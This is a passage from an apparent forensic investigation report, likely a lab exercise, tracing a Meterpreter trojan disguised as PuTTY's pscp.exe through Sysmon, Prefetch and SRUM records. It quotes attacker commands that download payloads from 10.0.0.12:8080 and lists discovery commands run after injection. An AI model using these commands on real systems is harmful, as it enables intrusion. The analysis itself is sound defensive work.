Every command has a matching Prefetch entry, with run counts and last-run times that agree with Sysmon to the millisecond: TRACERT.EXE (3), QUSER, TASKLIST, NETSTAT, WHOAMI, NET and NET1 (1 each).

The Meterpreter PowerShell extension also loaded inside explorer.exe at 11:06:40 (PowerShell 600 HostName=MSFConsole, HostApplication=explorer.exe), and Invoke-DcSync bootstrap script blocks were logged.

UTC	Artifact	Detail	Reference	Original source
2023-11-10 11:04:13.885211	Event logs (EVTX)	EVTX event C:\Windows\system32\cmd.exe Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 6600, ProcessGUID: e6e9f951-0e2d-654e-9101-000000000500 | RuleName: - | MD5=9D59442313565C2E0860B88BF32B2277,SHA256=D0CEB18272966AB62B8EDFF100E9B4A6A3CB5DC0F2A32B2B18721FEA2D9C09A5,IMPHASH=272245E2988E1E430500B852C4FB5E18 | ParentProcess: C:\Windows\ex	evtxecmd/ evtxecmd_0.csv#18655	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:04:39.859949	Event logs (EVTX)	EVTX event tracert -h Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 2764, ProcessGUID: e6e9f951-0e47-654e-9301-000000000500 | RuleName: - | MD5=2EFE82589249126CA80CC1C536FCBDDA,SHA256=5817A6B5D24D21E19A05A08253737B1D2842B612EC1B90F9B928D78FAD271092,IMPHASH=7A80F2FE2DD40125FA241B4F53DF08D1 | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18656	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:05:01.056649	Event logs (EVTX)	EVTX event tracert -m 6 8.8.8.8 Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 7720, ProcessGUID: e6e9f951-0e5d-654e-9401-000000000500 | RuleName: - | MD5=2EFE82589249126CA80CC1C536FCBDDA,SHA256=5817A6B5D24D21E19A05A08253737B1D2842B612EC1B90F9B928D78FAD271092,IMPHASH=7A80F2FE2DD40125FA241B4F53DF08D1 | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18657	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:05:12.550053	Event logs (EVTX)	EVTX event tracert -h 6 8.8.8.8 Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 2180, ProcessGUID: e6e9f951-0e68-654e-9501-000000000500 | RuleName: - | MD5=2EFE82589249126CA80CC1C536FCBDDA,SHA256=5817A6B5D24D21E19A05A08253737B1D2842B612EC1B90F9B928D78FAD271092,IMPHASH=7A80F2FE2DD40125FA241B4F53DF08D1 | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18658	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:05:41.182379	Event logs (EVTX)	EVTX event quser Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 7752, ProcessGUID: e6e9f951-0e85-654e-9601-000000000500 | RuleName: - | MD5=3147F9B0C7089DD698778246E835C494,SHA256=6EE15E5B1311D501FBDAA15C9D1197BA2F99745EA5ABB3E724D598EE53D48A6E,IMPHASH=EA8421BD383CD44D7C13D5BBB67DDFA5 | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18659	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:11:23.852357	Event logs (EVTX)	EVTX event tasklist Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 8012, ProcessGUID: e6e9f951-0fdb-654e-ba01-000000000500 | RuleName: - | MD5=80036C62EACEEFAC7F7DF133634321F5,SHA256=9F60240830FAF4DE590360561A6E249F5D0C41FF8AFBB9498BBE5C1A80ABD02C,IMPHASH=DCE1F3B1BD09BBAD166CE65677E33EDB | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18682	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:12:23.447885	Event logs (EVTX)	EVTX event netstat -ntb Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 6292,	evtxecmd/ evtxecmd_0.csv#18688	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx

UTC	Artifact	Detail	Reference	Original source
		ProcessGUID: e6e9f951-1017-654e-c701-000000000500 | RuleName: - | MD5=2445DECE99DEEDBD701DC6DFE10E648E,SHA256=5A780D6630639FFB7FD3D295C182EAA2A7CAD2C70248C5BA8F334BB3803353CA,IMPHASH=F495C58FFEE3A623AD7AAA6BE78756D5 | ParentProcess: C:\Windows\Sy		
2023-11-10 11:13:25.703963	Event logs (EVTX)	EVTX event whoami /user Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 7220, ProcessGUID: e6e9f951-1055-654e-cb01-000000000500 | RuleName: - | MD5=2EEEEC89E705F73FFBCAE014E1828788,SHA256=A8A4C4719113B071BB50D67F6E12C188B92C70EEAFDFCD6F5DA69B6AAA99A7FD,IMPHASH=7FF0758B766F747CE57DFAC70743FB88 | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18694	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:13:35.772808	Event logs (EVTX)	EVTX event net user administrator Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 736, ProcessGUID: e6e9f951-105f-654e-cc01-000000000500 | RuleName: - | MD5=A63DF9A6E9098CC189F2A3EFC37600F6,SHA256=96CDFD7B263947A6A7C0DB54141A6B8D7777DB0A03A17CBF95666D98422F937B,IMPHASH=57F0C47AE2A1A2C06C8B987372AB0B07 | ParentProcess: C:\Windows\Sys	evtxecmd/ evtxecmd_0.csv#18695	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:13:35.786440	Event logs (EVTX)	EVTX event C:\Windows\system32\net1 user administrator Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 1152, ProcessGUID: e6e9f951-105f-654e-cd01-000000000500 | RuleName: - | MD5=0F641F87A791AE07C00A725BBBD77724,SHA256=286E7F127B06386BD1CC9664851848F483A867F0F604AA352893151068715FAA,IMPHASH=41DBA1AF77E1A2260F0CE46D59ADCB5E | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18696	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:04:39.853697	Prefetch	Execution (Prefetch, previous) TRACERT.EXE runs=3 hash=EC2ABA23 False	pecmd/ prefetch_0.csv#196	C:\Windows\prefetch\TRACERT.EXE-EC2ABA23.pf
2023-11-10 11:05:41.181847	Prefetch	Execution (Prefetch, last) QUSER.EXE runs=1 hash=FE15F6D2 False	pecmd/ prefetch_0.csv#99	C:\Windows\prefetch\QUSER.EXE-FE15F6D2.pf
2023-11-10 11:11:23.838148	Prefetch	Execution (Prefetch, last) TASKLIST.EXE runs=1 hash=2448BC7D False	pecmd/ prefetch_0.csv#193	C:\Windows\prefetch\TASKLIST.EXE-2448BC7D.pf
2023-11-10 11:12:23.447441	Prefetch	Execution (Prefetch, last) NETSTAT.EXE runs=1 hash=34A60389 False	pecmd/ prefetch_0.csv#83	C:\Windows\prefetch\NETSTAT.EXE-34A60389.pf
2023-11-10 11:13:25.697436	Prefetch	Execution (Prefetch, last) WHOAMI.EXE runs=1 hash=824687C3 False	pecmd/ prefetch_0.csv#217	C:\Windows\prefetch\WHOAMI.EXE-824687C3.pf
2023-11-10 11:13:35.775558	Prefetch	Execution (Prefetch, last) NET1.EXE runs=1 hash=1C88A7BA False	pecmd/ prefetch_0.csv#82	C:\Windows\prefetch\NET1.EXE-1C88A7BA.pf
2023-11-10 11:06:40.822473	Event logs (EVTX)	EVTX event Windows PowerShell 600 | PowerShell | Provider is Started | HostApplication=explorer.exe | HostName=MSFConsole | HostVersion=0.1	evtxecmd/ evtxecmd_0.csv#28047	C:\Windows\system32\winevt\logs\Windows PowerShell.evtx

Q4. Which IP and port is the malicious executable communicating with?

Confidence	probable
Independent sources	artifact:browser (downloads, dissect) artifact:srum (network usage per application) evtx:microsoft-windows-powershell%4operational.evtx evtx:microsoft-windows-sysmon%4operational.evtx evtx:microsoft-windows-windows defender%4operational.evtx

10.0.0.12 on TCP port 8080.

What the records show:
- The payload was served from http://10.0.0.12:8080/pscp.exe. This appears in the Defender 1116 events, in the Edge WebCache history and download entries, and in the Zone.Identifier HostUrl on C:\Payloads\pscp.exe.
- The only Sysmon EID 3 connection from the attack chain is powershell.exe PID 736 ({e6e9f951-0f56-654e-af01-000000000500}, a child of Meterpreter cmd 5848). It connected from 10.0.0.124:50009 to 10.0.0.12:8080/tcp at 11:10:56 UTC to fetch /1.exe, as the 4104 script block records.
- The Sysmon configuration did not log network connections for pscp.exe or the injected explorer.exe 7324, so no event records the Meterpreter session socket itself. The output of `netstat -ntb` was not captured either.
- SRUM shows explorer.exe sending 69,181 bytes in the interval ending 11:43, against 3,284 bytes before. That fits C2 traffic carried by the migrated process.

Conclusion: the C2 server is 10.0.0.12, and 8080/tcp is the only port observed with it. I cannot rule out that the reverse session used a different port, such as the Metasploit default 4444, because nothing records that socket. The port is therefore probable, not confirmed.

UTC	Artifact	Detail	Reference	Original source
2023-11-10 11:10:56.791298	Event logs (EVTX)	EVTX event C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Microsoft-Windows-Sysmon/Operational 3 | Microsoft-Windows-Sysmon | Network connection | ProcessID: 736, ProcessGUID: e6e9f951-0f56-654e-af01-000000000500 | RuleName: - | SourceHostname: DESKTOP-KJ81A5A.hsd1.md.comcast.net | SourceIp: 10.0.0.124 | DestinationHostname: - | DestinationIp: 10.0.0.12 | C:\Windows\System32\WindowsPowerShell\v1.0\powersh	evtxecmd/evtxecmd_0.csv#18681	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:10:55.494829	Event logs (EVTX)	EVTX event Microsoft-Windows-PowerShell/Operational 4104 | Microsoft-Windows-PowerShell | Contains contents of scripts run | Path: | ScriptBlockText: wget http://10.0.0.12:8080/1.exe -o 1.exe	evtxecmd/evtxecmd_0.csv#8814	C:\Windows\system32\winevt\logs\Microsoft-Windows-PowerShell%4Operational.evtx
2023-11-10 10:16:44.708098	Event logs (EVTX)	EVTX event file:_C:\Users\medmondson\Downloads\pscp.exe; webfile:_C:\Users\medmondson\Downloads\pscp.exe|http://10.0.0.12:8080/pscp.exe|pid:8820,ProcessStart:133440850044617643 Microsoft-Windows-Windows Defender/Operational 1116 | Microsoft-Windows-Windows Defender | Detection - The antimalware platform detected malware or other potentially unwanted software | Malware name: Trojan:Win64/Meterpreter.E | Description: Trojan (Severe) | Detection Time: 2023-11-10T10:16:43.470Z | Process (if real-time detection): C:\Windows\Sy	evtxecmd/evtxecmd_0.csv#23715	C:\Windows\system32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx
2023-11-10 10:19:53.882523	Browser (downloads, Dissect)	download: ts_end C:\Users\medmondson\Downloads\pscp.exe url=http://10.0.0.12:8080/pscp.exe | browser=iexplore	dissect/browser.downloads.jsonl#6	C:\Users\medmondson\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat
2023-11-10 11:43:00	SRUM (network usage per application)	SRUM: network usage (end of period) \device\harddiskvolume4\windows\explorer.exe received=86237 sent=69181 IF_TYPE_ETHERNET_CSMACD	srumecmd/20261019151050_SrumECmd_NetworkUsages_Output.csv#111	C:\Windows\system32\SRU\SRUDB.dat
2023-11-10 10:15:00	SRUM (network usage per application)	SRUM: network usage (end of period) \device\harddiskvolume4\windows\explorer.exe received=68056 sent=3284 IF_TYPE_ETHERNET_CSMACD	srumecmd/20261019151050_SrumECmd_NetworkUsages_Output.csv#61	C:\Windows\system32\SRU\SRUDB.dat

Q5. Are there any other weird processes that can be associated with the malicious executable? If so, did they run?

Confidence	probable
Independent sources	artifact:$mft artifact:$usnjrnl:$j artifact:powershell history (psreadline) evtx:microsoft-windows-powershell%4operational.evtx evtx:microsoft-windows-sysmon%4operational.evtx

Yes. Two other executables are tied to the payload, but there is no evidence that either one ran.

C:\Payloads\test.exe
- Downloaded from 10.0.0.12:8080 at 10:21:41 UTC with PowerShell wget, before Sysmon was installed.
- Same size as pscp.exe: 986,624 bytes.

C:\Users\medmondson\1.exe
- Downloaded at 11:10:55 UTC by `wget http://10.0.0.12:8080/1.exe -o 1.exe`, run in powershell PID 736 inside the Meterpreter chain.
- The download shows in PowerShell 4104, Sysmon 3 and 11, $MFT, USN and SIDR. Size is 986,624 bytes.

Execution check for both files
- No Sysmon EID 1, Prefetch, Amcache, BAM, UserAssist or SRUM entry for either one.
- The equal size suggests they are copies of the same Meterpreter stager, but that is unverified because Sysmon did not hash them.

Processes that did run as part of the chain
- The injected sacrificial explorer.exe 7324.
- cmd.exe 6600 and 5848.
- powershell.exe 736.
- The discovery LOLBins listed in Q3.
- The Meterpreter PowerShell host 'MSFConsole' inside explorer.exe.

UTC	Artifact	Detail	Reference	Original source
2023-11-10 10:21:41.003421	$MFT	$SI creation (B) ; $FN modification (M) ; $FN access (A) ; $FN MFT change (C) C:\Payloads\test.exe size=986624	mftecmd_mft/ mft.csv#109630	C:\$MFT
2023-11-10 11:10:55.603703	$MFT	$SI creation (B) ; $FN modification (M) ; $FN access (A) ; $FN MFT change (C) C:\Users\medmondson\1.exe size=986624	mftecmd_mft/ mft.csv#119927	C:\$MFT
2023-11-10 11:10:55.603703	$UsnJrnl:$J	USN $J C:\Users\medmondson\1.exe FileCreate [Archive] entry=90508-6	mftecmd_usnjrnl/ usnjrnl.csv#129184	C:\$Extend\$J
2023-11-10 11:10:55.494829	Event logs (EVTX)	EVTX event Microsoft-Windows-PowerShell/Operational 4104 | Microsoft-Windows-PowerShell | Contains contents of scripts run | Path: | ScriptBlockText: wget http://10.0.0.12:8080/1.exe -o 1.exe	evtxecmd/ evtxecmd_0.csv#8814	C:\Windows\system32\ winevt\logs\Microsoft-Windows-PowerShell %4Operational.evtx
2023-11-10 11:36:48.063750	PowerShell history (PSReadLine)	history: mtime C:\Users\medmondson\AppData\Roaming\Microsoft\ Windows\PowerShell\psreadline\ConsoleHost_history.txt command=wget http://10.0.0.12:8080/pscp.exe -o test.exe | order=3	dissect/ powershell_history.jsonl#5	C:\Users\medmondson\ AppData\Roaming\ Microsoft\Windows\ PowerShell\psreadline\ ConsoleHost_history.txt
2023-11-10 11:09:10.219150	Event logs (EVTX)	EVTX event powershell Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 736, ProcessGUID: e6e9f951-0f56-654e-af01-000000000500 | RuleName: - | MD5=CDA48FC75952AD12D99E526D0B6BF70A,SHA256=908B64B1971A979C7E3E8CE4621945CBA84854CB98D76367B791A6E22B5F6D53,IMPHASH=A7CEFACDDA74B13CD330390769752481 | ParentProcess: C:\Windows\Sys	evtxecmd/ evtxecmd_0.csv#18677	C:\Windows\system32\ winevt\logs\Microsoft-Windows-Sysmon %4Operational.evtx

Q6. Give the chain of processes used by the malicious executable (mal.exe -> migrated.exe -> other exes), using ProcessGuid and ParentProcessGuid.

Confidence	confirmed
Independent sources	artifact:prefetch evtx:microsoft-windows-sysmon%4operational.evtx

Process chain from Sysmon EID 1, with each child's ParentProcessGuid matching the parent's ProcessGuid. Times are UTC.

- **Launch context:** user explorer.exe {e6e9f951-0907-654e-5c00-000000000500} → elevated powershell.exe PID 1088 {e6e9f951-0de1-654e-8801-000000000500}.
- **Malicious executable:** C:\Payloads\pscp.exe, PID 2196, ProcessGuid {e6e9f951-0ded-654e-8f01-000000000500}, ParentProcessGuid {…0de1-654e-8801…}, started 11:03:09.902.
- **Migration target:** explorer.exe, PID 7324, ProcessGuid {e6e9f951-0ded-654e-9001-000000000500}, ParentProcessGuid {…0ded-654e-8f01…}, started 11:03:09.989. pscp.exe then injected it with a remote thread (Sysmon 8). Explorer 7324 in turn opened a remote thread in lsass.exe at 11:03:56.
- **Children of explorer 7324:**
  - cmd.exe PID 6600 {e6e9f951-0e2d-654e-9101-000000000500}, parent {…0ded-654e-9001…}, 11:04:13. Its children:
    - tracert PID 2764 {e6e9f951-0e47-654e-9301-…}
    - tracert PID 7720 {…0e5d-654e-9401…}
    - tracert PID 2180 {…0e68-654e-9501…}
    - quser PID 7752 {…0e85-654e-9601…}
  - cmd.exe PID 5848 {e6e9f951-0f52-654e-ad01-000000000500}, parent {…0ded-654e-9001…}, 11:09:06. Its children:
    - powershell PID 736 {e6e9f951-0f56-654e-af01-000000000500}, 11:09:10. It downloaded 1.exe and made the network connection to 10.0.0.12:8080.
    - tasklist PID 8012 {…0fdb-654e-ba01…}, 11:11:23
    - netstat -ntb PID 6292 {…1017-654e-c701…}, 11:12:23
    - whoami /user PID 7220 {…1055-654e-cb01…}, 11:13:25
    - net user administrator PID 736 {…105f-654e-cc01…}, 11:13:35. Its child is net1 PID 1152 {…105f-654e-cd01…}. The PID 736 was reused, but the GUID is different.

Summary chain: pscp.exe {…8f01…} → explorer.exe {…9001…} → cmd.exe {…9101…}/{…ad01…} → tracert/quser/powershell/tasklist/netstat/whoami/net → net1.

UTC	Artifact	Detail	Reference	Original source
2023-11-10 11:03:09.902865	Event logs (EVTX)	EVTX event "C:\Payloads\pscp.exe" Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 2196, ProcessGUID: e6e9f951-0ded-654e-8f01-000000000500 | RuleName: - | MD5=DED9E58DD95A88A4BEE89B74A65F05F1,SHA256=ABBF7B5F7A059348A17DCD8BCD464767125F54B4F8691F0F810AC1819C6CF931,IMPHASH=ADD361A4F3939AF38D11873F1D74BDED | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18650	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:03:09.989870	Event logs (EVTX)	EVTX event explorer.exe Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 7324, ProcessGUID: e6e9f951-0ded-654e-9001-000000000500 | RuleName: - | MD5=9FBBF189473A313776019D2EAA72A47A,SHA256=CEF64201A97E08834F5C8952907A1719531A7D99B53309CB2E2956F40CFF3486,IMPHASH=D505016A935B17367AA0263582F3F1E2 | ParentProcess: C:\Payloads\p	evtxecmd/ evtxecmd_0.csv#18651	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:03:09.990398	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 8 | Microsoft-Windows-Sysmon | CreateRemoteThread | StartAddress: 0x0000000000B30000 | RuleName: - | SourceProcessID: 2196, SourceProcessGUID: e6e9f951-0ded-654e-8f01-000000000500 | SourceImage: C:\Payloads\pscp.exe | TargetProcessID: 7324, TargetProcessGUID: e6e9f951-0ded-654e-9001-000000000500 | TargetImage: C	evtxecmd/ evtxecmd_0.csv#18652	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:04:13.885211	Event logs (EVTX)	EVTX event C:\Windows\system32\cmd.exe Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 6600, ProcessGUID: e6e9f951-0e2d-654e-9101-000000000500 | RuleName: - | MD5=9D59442313565C2E0860B88BF32B2277,SHA256=D0CEB18272966AB62B8EDFF100E9B4A6A3CB5DC0F2A32B2B	evtxecmd/ evtxecmd_0.csv#18655	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx

UTC	Artifact	Detail	Reference	Original source
		18721FEA2D9C09A5,IMPHASH=272245E2988E1E430500B852C4FB5E18 | ParentProcess: C:\Windows\ex		
2023-11-10 11:04:39.859949	Event logs (EVTX)	EVTX event tracert -h Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 2764, ProcessGUID: e6e9f951-0e47-654e-9301-000000000500 | RuleName: - | MD5=2EFE82589249126CA80CC1C536FCBDDA,SHA256=5817A6B5D24D21E19A05A08253737B1D2842B612EC1B90F9B928D78FAD271092,IMPHASH=7A80F2FE2DD40125FA241B4F53DF08D1 | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18656	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:05:01.056649	Event logs (EVTX)	EVTX event tracert -m 6 8.8.8.8 Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 7720, ProcessGUID: e6e9f951-0e5d-654e-9401-000000000500 | RuleName: - | MD5=2EFE82589249126CA80CC1C536FCBDDA,SHA256=5817A6B5D24D21E19A05A08253737B1D2842B612EC1B90F9B928D78FAD271092,IMPHASH=7A80F2FE2DD40125FA241B4F53DF08D1 | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18657	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:05:12.550053	Event logs (EVTX)	EVTX event tracert -h 6 8.8.8.8 Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 2180, ProcessGUID: e6e9f951-0e68-654e-9501-000000000500 | RuleName: - | MD5=2EFE82589249126CA80CC1C536FCBDDA,SHA256=5817A6B5D24D21E19A05A08253737B1D2842B612EC1B90F9B928D78FAD271092,IMPHASH=7A80F2FE2DD40125FA241B4F53DF08D1 | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18658	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:05:41.182379	Event logs (EVTX)	EVTX event quser Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 7752, ProcessGUID: e6e9f951-0e85-654e-9601-000000000500 | RuleName: - | MD5=3147F9B0C7089DD698778246E835C494,SHA256=6EE15E5B1311D501FBDAA15C9D1197BA2F99745EA5ABB3E724D598EE53D48A6E,IMPHASH=EA8421BD383CD44D7C13D5BBB67DDFA5 | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18659	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:09:06.424384	Event logs (EVTX)	EVTX event C:\Windows\system32\cmd.exe Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 5848, ProcessGUID: e6e9f951-0f52-654e-ad01-000000000500 | RuleName: - | MD5=9D59442313565C2E0860B88BF32B2277,SHA256=D0CEB18272966AB62B8EDFF100E9B4A6A3CB5DC0F2A32B2B18721FEA2D9C09A5,IMPHASH=272245E2988E1E430500B852C4FB5E18 | ParentProcess: C:\Windows\ex	evtxecmd/ evtxecmd_0.csv#18676	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:09:10.219150	Event logs (EVTX)	EVTX event powershell Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 736, ProcessGUID: e6e9f951-0f56-654e-af01-000000000500 | RuleName: - | MD5=CDA48FC75952AD12D99E526D0B6BF70A,SHA256=908B64B1971A979C7E3E8CE4621945CBA84854CB98D76367B791A6E22B5F6D53,IMPHASH=A7CEFACDDA74B13CD330390769752481 | ParentProcess: C:\Windows\Sys	evtxecmd/ evtxecmd_0.csv#18677	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:11:23.852357	Event logs (EVTX)	EVTX event tasklist Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 8012, ProcessGUID: e6e9f951-0fdb-654e-ba01-000000000500 | RuleName: - | MD5=80036C62EACEEFAC7F7DF133634321F5,SHA256=9F60240830FAF4DE590360561A6E249F5D0C41FF8AFBB9498BBE5C1A80ABD02C,IMPHASH=DCE1F3B1BD09BBAD166CE65677E33EDB | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18682	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:12:23.447885	Event logs (EVTX)	EVTX event netstat -ntb Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 6292, ProcessGUID: e6e9f951-1017-654e-c701-000000000500 | RuleName: - | MD5=2445DECE99DEEDBD701DC6DFE10E648E,SHA256=5A	evtxecmd/ evtxecmd_0.csv#18688	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx

UTC	Artifact	Detail	Reference	Original source
		780D6630639FFB7FD3D295C182EAA2A7CAD2C70248C5BA8F334BB3803353CA,IMPHASH=F495C58FFEE3A623AD7AAA6BE78756D5 | ParentProcess: C:\Windows\Sy		
2023-11-10 11:13:25.703963	Event logs (EVTX)	EVTX event whoami /user Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 7220, ProcessGUID: e6e9f951-1055-654e-cb01-000000000500 | RuleName: - | MD5=2EEEEC89E705F73FFBCAE014E1828788,SHA256=A8A4C4719113B071BB50D67F6E12C188B92C70EEAFDFCD6F5DA69B6AAA99A7FD,IMPHASH=7FF0758B766F747CE57DFAC70743FB88 | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18694	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:13:35.772808	Event logs (EVTX)	EVTX event net user administrator Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 736, ProcessGUID: e6e9f951-105f-654e-cc01-000000000500 | RuleName: - | MD5=A63DF9A6E9098CC189F2A3EFC37600F6,SHA256=96CDFD7B263947A6A7C0DB54141A6B8D7777DB0A03A17CBF95666D98422F937B,IMPHASH=57F0C47AE2A1A2C06C8B987372AB0B07 | ParentProcess: C:\Windows\Sys	evtxecmd/ evtxecmd_0.csv#18695	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:13:35.786440	Event logs (EVTX)	EVTX event C:\Windows\system32\net1 user administrator Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 1152, ProcessGUID: e6e9f951-105f-654e-cd01-000000000500 | RuleName: - | MD5=0F641F87A791AE07C00A725BBBD77724,SHA256=286E7F127B06386BD1CC9664851848F483A867F0F604AA352893151068715FAA,IMPHASH=41DBA1AF77E1A2260F0CE46D59ADCB5E | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18696	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:03:09.900579	Prefetch	Execution (Prefetch, last) PSCP.EXE runs=1 hash=1DCA12FC False	pecmd/ prefetch_0.csv#98	C:\Windows\prefetch\PSCP.EXE-1DCA12FC.pf

Q7. What executable was the malicious executable masquerading as?

Confidence	confirmed
Independent sources	artifact:prefetch evtx:microsoft-windows-sysmon%4operational.evtx evtx:microsoft-windows-windows defender%4operational.evtx

It posed as PuTTY's PSCP, the PuTTY Secure Copy client. The file is named pscp.exe, and the PE version info recorded in Sysmon EID 1 reads OriginalFileName=PSCP, Product "PuTTY suite", version "Release 0.79". Defender nevertheless identified the binary as Trojan:Win64/Meterpreter.E, and once executed it migrated into a spawned explorer.exe. Real PSCP never does that, so this is a trojanised or backdoored PSCP (an msfvenom-style template injection).

UTC	Artifact	Detail	Reference	Original source
2023-11-10 11:03:09.902865	Event logs (EVTX)	EVTX event "C:\Payloads\pscp.exe" Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 2196, ProcessGUID: e6e9f951-0ded-654e-8f01-000000000500 | RuleName: - | MD5=DED9E58DD95A88A4BEE89B74A65F05F1,SHA256=ABBF7B5F7A059348A17DCD8BCD464767125F54B4F8691F0F810AC1819C6CF931,IMPHASH=ADD361A4F3939AF38D11873F1D74BDED | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18650	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 10:16:44.708098	Event logs (EVTX)	EVTX event file:_C:\Users\medmondson\Downloads\pscp.exe; webfile:_C:\Users\medmondson\Downloads\pscp.exe|http://10.0.0.12:8080/pscp.exe|pid:8820,ProcessStart:133440850044617643 Microsoft-Windows-Windows Defender/Operational 1116 | Microsoft-Windows-Windows Defender | Detection - The antimalware platform detected malware or other potentially unwanted software | Malware name: Trojan:Win64/Meterpreter.E | Description: Trojan (Severe) | Detection Time: 2023-11-10T10:16:43.470Z | Process (if	evtxecmd/ evtxecmd_0.csv#23715	C:\Windows\system32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx

UTC	Artifact	Detail	Reference	Original source
		real-time detection): C:\Windows\Sy		
